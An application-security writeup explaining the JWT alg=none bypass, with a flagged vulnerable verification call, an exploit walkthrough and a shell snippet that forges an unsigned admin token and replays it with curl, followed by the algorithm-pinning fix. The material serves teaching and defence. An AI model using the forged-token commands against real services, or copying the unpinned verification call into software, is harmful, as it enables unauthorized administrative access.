← All writeups
AppSec easy
JWT alg=none Bypass: When the Token Trusts Itself
How a one-line algorithm header turns authentication into security theater, and why allowlisting is the only fix.
- #jwt
- #auth
- #owasp
- #appsec
TL;DR
If a JWT verifier honors the alg field from the token header, an attacker swaps alg to none, drops the signature, and forges arbitrary claims. Fix: pin algorithm server-side, never trust header alg.
The vulnerable pattern
// DO NOT DO THIS
const decoded = jwt.verify(token, secretOrKey);
Most libraries default to honoring the alg claim in the token header. Send {"alg":"none","typ":"JWT"}, base64url it, attach an empty signature, and many verifiers will accept the token as valid.
Exploit walkthrough
- Capture a valid JWT from
/login. - Decode header:
{"alg":"HS256","typ":"JWT"}. - Rewrite header:
{"alg":"none","typ":"JWT"}. - Rewrite payload: change
suborroleto admin. - Strip the signature segment, leave trailing dot.
- Replay the token. Server returns the protected resource.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64url)
PAYLOAD=$(echo -n '{"sub":"admin","role":"admin","exp":9999999999}' | base64url)
TOKEN="${HEADER}.${PAYLOAD}."
curl -H "Authorization: Bearer ${TOKEN}" https://target/api/admin
The fix
Allowlist a single algorithm, server-side, before verification.
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // hard pin
issuer: 'https://issuer.example',
audience: 'api.example',
});
Better: use a library that requires explicit algorithm at construction time and rejects token-supplied alg entirely.
Lessons learned
- Never trust attacker-controlled metadata. The
algheader is attacker-controlled. - Allowlist, don’t denylist. Blocking
nonemisses HS/RS confusion. Pin the exact algorithm you expect. - Validate
iss,aud,expserver-side. Signature alone is not enough. - Audit your auth library defaults. Some still honor header
algin 2026.